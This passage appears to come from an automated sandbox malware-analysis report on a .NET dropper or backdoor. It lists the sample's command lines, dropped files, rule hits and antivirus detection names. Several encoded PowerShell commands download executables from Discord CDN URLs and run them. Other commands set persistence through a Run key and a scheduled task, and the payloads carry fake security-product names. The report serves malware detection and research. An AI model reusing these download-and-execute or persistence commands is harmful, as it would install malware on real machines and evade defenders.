MAdQByAHQAeQAuAGUAeABlACcAKQApADwAIwBjAGsAbAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGQAdQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAZABzAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUgBlAGQAbABpAG4ARQBTAGUAYwB1AHIAdAB5AC4AZQB4AGUAJwApADwAIwBmAHUAcgAjAD4A" |
| cmdline | powershell -EncodedCommand "PAAjAGQAagB2ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADAAMAA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAGQAbgAuAGQAaQBzAGMAbwByAGQAYQBwAHAALgBjAG8AbQAvAGEAdAB0AGEAYwBoAG0AZQBuAHQAcwAvADEAMAAyADcAMQA5ADUAMgA5ADIAOAA4ADMAMwA3ADAAMAAzADQALwAxADAAMwAwADgAOAA3ADEAOAA5ADYAMAAyADYANQAyADIAMgAxAC8ARgBpAGwAZQBNAGEAbgBhAGcAZQAuAGUAeABlACcALAAgADwAIwBpAG4AcAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAYwBwACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAcABnACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEYAaQBsAGUATQBhAG4AYQBnAGUALgBlAHgAZQAnACkAKQA8ACMAdwB6AG0AIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBkAGMAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHUAeQBkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEYAaQBsAGUATQBhAG4AYQBnAGUALgBlAHgAZQAnACkAPAAjAGsAdwBqACMAPgA=" |
| cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAYQBxACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA4ADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAAMgA3ADEAOQA1ADIAOQAyADgAOAAzADMANwAwADAAMwA0AC8AMQAwADMAMAA4ADgANgA2ADYANgA2ADUANgA4ADEAMwAxADgANgAvAFIAZQBkAGwAaQBuAEUAUwBlAGMAdQByAGkAdAB5AC4AZQB4AGUAJwAsACAAPAAjAHcAagBwACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAZQBoAGsAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdwBzAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUgBlAGQAbABpAG4ARQBTAGUAYwB1AHIAaQB0AHkALgBlAHgAZQAnACkAKQA8ACMAdAB1AHEAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdABnAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGgAcwB6ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFIAZQBkAGwAaQBuAEUAUwBlAGMAdQByAGkAdAB5AC4AZQB4AGUAJwApADwAIwB1AGIAYwAjAD4A" |
| cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYgB2ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADEAMAA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAGQAbgAuAGQAaQBzAGMAbwByAGQAYQBwAHAALgBjAG8AbQAvAGEAdAB0AGEAYwBoAG0AZQBuAHQAcwAvADEAMAAyADcAMQA5ADUAMgA5ADIAOAA4ADMAMwA3ADAAMAAzADQALwAxADAAMwAwADgAOAA3ADQAOAAwADYANAA1ADMAOAA2ADMANgAxAC8AVwBpAG4AZABvAHcAcwBQAHIAbwB0AGUAYwB0AC4AZQB4AGUAJwAsACAAPAAjAGcAawBzACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAdQBiAHYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdwBzAHcAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVwBpAG4AZABvAHcAcwBQAHIAbwB0AGUAYwB0AC4AZQB4AGUAJwApACkAPAAjAGIAYwBzACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHEAdQBrACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB5AGsAYgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBXAGkAbgBkAG8AdwBzAFAAcgBvAHQAZQBjAHQALgBlAHgAZQAnACkAPAAjAGwAbgBlACMAPgA=" |
| cmdline | "powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'WIndowShellHost';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'WIndowShellHost' -Value '"C:\Users\test22\AppData\Roaming\WIndowShellHost\WIndowShellHost.exe"' -PropertyType 'String' |
| cmdline | powershell -EncodedCommand "PAAjAHgAZwBjACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA2ADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAAMgA3ADEAOQA1ADIAOQAyADgAOAAzADMANwAwADAAMwA0AC8AMQAwADMAMAA4ADgANgAxADUANgAwADIAOQA2ADYAMQAyADgANAAvAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABTAGUAdQByAHYAaQBjAGUALgBlAHgAZQAnACwAIAA8ACMAdABjAG0AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB3AHMAcwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBmAHMAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAUwBlAHIAdgBpAGMAZQAuAGUAeABlACcAKQApADwAIwBnAHAAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBlAHIAZgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAeAB5AHkAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAFMAZQByAHYAaQBjAGUALgBlAHgAZQAnACkAPAAjAHkAcgBsACMAPgA=" |
| cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAbABiACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA2ADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAAMgA3ADEAOQA1ADIAOQAyADgAOAAzADMANwAwADAAMwA0AC8AMQAwADMAMAA4ADgANgAxADkAMgAxADUAOQA0ADAAOAAxADcAMAAvAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABTAGUAdQByAHYAaQBjAC4AZQB4AGUAJwAsACAAPAAjAGMAdwBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAaAB4AGkAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAaQBlAHkAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAFMAZQByAHYAaQBjAC4AZQB4AGUAJwApACkAPAAjAHoAaQBzACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAG0AaQBwACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBlAGoAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAUwBlAHIAdgBpAGMALgBlAHgAZQAnACkAPAAjAHkAeABsACMAPgA=" |
| cmdline | powershell -EncodedCommand "PAAjAHgAYQBxACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA4ADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAAMgA3ADEAOQA1ADIAOQAyADgAOAAzADMANwAwADAAMwA0AC8AMQAwADMAMAA4ADgANgA2ADYANgA2ADUANgA4ADEAMwAxADgANgAvAFIAZQBkAGwAaQBuAEUAUwBlAGMAdQByAGkAdAB5AC4AZQB4AGUAJwAsACAAPAAjAHcAagBwACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAZQBoAGsAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdwBzAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUgBlAGQAbABpAG4ARQBTAGUAYwB1AHIAaQB0AHkALgBlAHgAZQAnACkAKQA8ACMAdAB1AHEAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdABnAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGgAcwB6ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFIAZQBkAGwAaQBuAEUAUwBlAGMAdQByAGkAdAB5AC4AZQB4AGUAJwApADwAIwB1AGIAYwAjAD4A" |
| cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHYAdQBuACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAAMgA3ADEAOQA1ADIAOQAyADgAOAAzADMANwAwADAAMwA0AC8AMQAwADMAMAA4ADgANQA4ADkAOAA4ADcAMgA2ADgAOAA2ADgAMAAvAEQAZQBmAGUAbgBkAGUAcgBSAHUAbgB0AGkAbQBlAC4AZQB4AGUAJwAsACAAPAAjAGUAcgBlACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAZgBhAGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAZwB4AGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcARABlAGYAZQBuAGQAZQByAFIAdQBuAHQAaQBtAGUALgBlAHgAZQAnACkAKQA8ACMAbQBqAGsAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAeAB0AGQAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGMAagBjACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEQAZQBmAGUAbgBkAGUAcgBSAHUAbgB0AGkAbQBlAC4AZQB4AGUAJwApADwAIwB0AGcAeAAjAD4A" |
| cmdline | powershell -EncodedCommand "PAAjAHYAdQBuACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAAMgA3ADEAOQA1ADIAOQAyADgAOAAzADMANwAwADAAMwA0AC8AMQAwADMAMAA4ADgANQA4ADkAOAA4ADcAMgA2ADgAOAA2ADgAMAAvAEQAZQBmAGUAbgBkAGUAcgBSAHUAbgB0AGkAbQBlAC4AZQB4AGUAJwAsACAAPAAjAGUAcgBlACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAZgBhAGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAZwB4AGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcARABlAGYAZQBuAGQAZQByAFIAdQBuAHQAaQBtAGUALgBlAHgAZQAnACkAKQA8ACMAbQBqAGsAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAeAB0AGQAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGMAagBjACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEQAZQBmAGUAbgBkAGUAcgBSAHUAbgB0AGkAbQBlAC4AZQB4AGUAJwApADwAIwB0AGcAeAAjAD4A" |
| file | C:\Users\test22\AppData\Roaming\HYPERVISOR.SLN |
| file | C:\Users\test22\AppData\Roaming\DEFENDERRUNTIME.EXE |
| file | C:\Users\test22\AppData\Roaming\DEFENDERRUNTIMEE.EXE |
| file | C:\Users\test22\AppData\Roaming\FILEMANAGE.EXE |
| file | C:\Users\test22\AppData\Roaming\FILEMANAGER.EXE |
| file | C:\Users\test22\AppData\Roaming\REDLINESECURITY.EXE |
| file | C:\Users\test22\AppData\Roaming\REDLINESECURTY.EXE |
| file | C:\Users\test22\AppData\Roaming\S500UBNAN.EXE |
| file | C:\Users\test22\AppData\Roaming\SECURITYHEALTHSERVICE.EXE |
| file | C:\Users\test22\AppData\Roaming\SECURITYHEALTHSEURVIC.EXE |
| file | C:\Users\test22\AppData\Roaming\SECURITYHOST.EXE |
| file | C:\Users\test22\AppData\Roaming\WINDOWSDEFENDERSMART.EXE |
| file | C:\Users\test22\AppData\Roaming\WINDOWSPROTECT.EXE |
| file | C:\Users\test22\AppData\Roaming\SECURITYHEALTHSERVICE.EXE |
| file | C:\Users\test22\AppData\Roaming\FILEMANAGE.EXE |
| file | C:\Users\test22\AppData\Roaming\WIndowShellHost\WIndowShellHost.exe |
| file | C:\Users\test22\AppData\Roaming\SECURITYHEALTHSEURVIC.EXE |
| file | C:\Users\test22\AppData\Roaming\FILEMANAGER.EXE |
| file | C:\Users\test22\AppData\Roaming\WINDOWSPROTECT.EXE |
| file | C:\Users\test22\AppData\Roaming\DEFENDERRUNTIMEE.EXE |
| file | C:\Users\test22\AppData\Roaming\WINDOWSDEFENDERSMART.EXE |
| file | C:\Users\test22\AppData\Roaming\REDLINESECURITY.EXE |
| file | C:\Users\test22\AppData\Roaming\S500UBNAN.EXE |
| file | C:\Users\test22\AppData\Roaming\REDLINESECURTY.EXE |
| file | C:\Users\test22\AppData\Roaming\DEFENDERRUNTIME.EXE |
| file | C:\Users\test22\AppData\Roaming\SECURITYHOST.EXE |
| section | {u'size_of_data': u'0x00042400', u'virtual_address': u'0x00002000', u'entropy': 7.928198748348251, u'name': u'.text', u'virtual_size': u'0x00042254'} | entropy | 7.92819874835 | description | A section with a high entropy has been found | |||||||||
| entropy | 0.870279146141 | description | Overall entropy of this PE file is high | |||||||||||
| description | Code injection with CreateRemoteThread in a remote process | rule | Code_injection | ||||||
| description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
| description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
| description | (no description) | rule | DebuggerHiding__Thread | ||||||
| description | (no description) | rule | DebuggerHiding__Active | ||||||
| description | (no description) | rule | ThreadControl__Context | ||||||
| description | (no description) | rule | SEH__vectored | ||||||
| description | Checks if being debugged | rule | anti_dbg | ||||||
| description | Bypass DEP | rule | disable_dep | ||||||
| description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
| description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
| description | (no description) | rule | DebuggerHiding__Thread | ||||||
| description | (no description) | rule | DebuggerHiding__Active | ||||||
| description | (no description) | rule | ThreadControl__Context | ||||||
| description | (no description) | rule | SEH__vectored | ||||||
| description | Checks if being debugged | rule | anti_dbg | ||||||
| description | Bypass DEP | rule | disable_dep | ||||||
| cmdline | schtasks /create /tn \WIndowShellHost /tr "C:\Users\test22\AppData\Roaming\WIndowShellHost\WIndowShellHost.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f |
| cmdline | "cmd" /C schtasks /create /tn \WIndowShellHost /tr "C:\Users\test22\AppData\Roaming\WIndowShellHost\WIndowShellHost.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f |
| reg_key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\WIndowShellHost | reg_value | C:\Users\test22\AppData\Roaming\WIndowShellHost\WIndowShellHost.exe | ||||||
| cmdline | schtasks /create /tn \WIndowShellHost /tr "C:\Users\test22\AppData\Roaming\WIndowShellHost\WIndowShellHost.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f | ||||||||
| cmdline | "cmd" /C schtasks /create /tn \WIndowShellHost /tr "C:\Users\test22\AppData\Roaming\WIndowShellHost\WIndowShellHost.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f | ||||||||
| file | C:\Windows\System32\ie4uinit.exe |
| file | C:\Program Files\Windows Sidebar\sidebar.exe |
| file | C:\Windows\System32\WindowsAnytimeUpgradeUI.exe |
| file | C:\Windows\System32\xpsrchvw.exe |
| file | C:\Windows\System32\displayswitch.exe |
| file | C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe |
| file | C:\Windows\System32\mblctr.exe |
| file | C:\Windows\System32\mstsc.exe |
| file | C:\Windows\System32\SnippingTool.exe |
| file | C:\Windows\System32\SoundRecorder.exe |
| file | C:\Windows\System32\dfrgui.exe |
| file | C:\Windows\System32\msinfo32.exe |
| file | C:\Windows\System32\rstrui.exe |
| file | C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe |
| file | C:\Program Files\Windows Journal\Journal.exe |
| file | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| file | C:\Windows\System32\MdSched.exe |
| file | C:\Windows\System32\msconfig.exe |
| file | C:\Windows\System32\recdisc.exe |
| file | C:\Windows\System32\msra.exe |
| cmdline | schtasks /create /tn \WIndowShellHost /tr "C:\Users\test22\AppData\Roaming\WIndowShellHost\WIndowShellHost.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f |
| cmdline | "cmd" /C schtasks /create /tn \WIndowShellHost /tr "C:\Users\test22\AppData\Roaming\WIndowShellHost\WIndowShellHost.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f |
| Bkav | W32.AIDetectNet.01 |
| Lionic | Trojan.MSIL.Crysan.m!c |
| MicroWorld-eScan | IL:Trojan.MSILZilla.17516 |
| FireEye | Generic.mg.b28a3a496bb68f9c |
| ALYac | IL:Trojan.MSILZilla.17516 |
| Cylance | Unsafe |
| VIPRE | IL:Trojan.MSILZilla.17516 |
| Sangfor | Trojan.Win32.Save.a |
| Alibaba | Backdoor:MSIL/ResInject.5fe83c7c |
| Cybereason | malicious.96bb68 |
| Arcabit | IL:Trojan.MSILZilla.D446C |
| BitDefenderTheta | Gen:NN.ZemsilF.34726.tm0@aqVqH2f |
| Cyren | W32/ABRisk.RQPR-6048 |
| Symantec | ML.Attribute.HighConfidence |
| Elastic | malicious (high confidence) |
| ESET-NOD32 | a variant of MSIL/Injector.FCD |
| TrendMicro-HouseCall | TROJ_GEN.R002C0DJG22 |
| Paloalto | generic.ml |
| Kaspersky | HEUR:Backdoor.MSIL.Crysan.gen |
| BitDefender | IL:Trojan.MSILZilla.17516 |
| Cynet | Malicious (score: 100) |
| Avast | Win32:InjectorX-gen [Trj] |
| Tencent | Msil.Backdoor.Crysan.Ikjl |
| Ad-Aware | IL:Trojan.MSILZilla.17516 |
| Emsisoft | IL:Trojan.MSILZilla.17516 (B) |
| F-Secure | Trojan.TR/Dropper.Gen |
| DrWeb | Trojan.InjectNET.14 |
| TrendMicro | TROJ_GEN.R002C0DJG22 |
| McAfee-GW-Edition | BehavesLike.Win32.Generic.fc |
| SentinelOne | Static AI - Malicious PE |
| Trapmine | suspicious.low.ml.score |
| Sophos | Mal/Generic-S |
| APEX | Malicious |
| Avira | TR/Dropper.Gen |
| Antiy-AVL | Trojan/MSIL.Injector |
| Gridinsoft | Trojan.Win32.Downloader.sa |
| Microsoft | VirTool:MSIL/ResInject!MTB |
| ZoneAlarm | HEUR:Backdoor.MSIL.Crysan.gen |
| GData | IL:Trojan.MSILZilla.17516 |
| Detected | |
| AhnLab-V3 | Trojan/Win.MSILZilla.C5129545 |
| Acronis | suspicious |
| McAfee | RDN/Generic BackDoor |
| MAX | malware (ai score=84) |
| Malwarebytes | Malware.AI.4221048470 |
| Rising | Trojan.Generic/MSIL@AI.94 (RDM.MSIL:x9KBdVi4e0L27YyiUtw3kA) |
| Yandex | Trojan.Injector!EFAYKrC14B0 |
| Ikarus | Trojan.MSIL.Injector |
| Fortinet | MSIL/Injector.FCD!tr |
| AVG | Win32:InjectorX-gen [Trj] |